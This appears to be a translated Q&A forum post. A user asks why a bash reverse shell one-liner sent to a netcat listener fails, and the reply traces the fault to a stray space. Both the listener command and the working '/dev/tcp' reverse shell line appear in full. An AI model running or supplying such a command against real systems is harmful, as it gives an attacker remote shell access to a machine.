erro netcat: ioctl inapropriado para o dispositivo

0

Estou tentando criar um 'shell reverso' usando um bash oneliner e um netcat listener. Esta combinação funcionou muito bem alguns dias atrás, mas agora só dá erros quando a conexão. Alguém sabe o que o erro significa e como posso solucionar o problema ou corrigi-lo?

Ouvinte do Netcat

netcat -lvnp 1234

Script de bash:

bash -i >& /dev/tcp/10.10.10.2/1234 0>&1

Erro (ao executar o script bash)

bash: cannot set terminal process group (21268): Inappropriate ioctl for device
bash: no job control in this shell
bash: 0: No such file or directory

Not sure if this is the right stackexchange for this question, feel free to move

    
por toom 05.10.2018 / 08:52

1 resposta

0

Na sua postagem, seu script bash é este:

bash -i >& /dev/tcp/10.10.10.2/1234 0>&1

Acho que é isso mesmo no seu computador:

bash -i >& /dev/tcp/10.10.10.2/1234 0 >&1

Observe o espaço após o zero. Procure por isso e remova-o, e ele deverá funcionar novamente. Eu não sabia dizer como chegou lá.

    
por 05.10.2018 / 21:59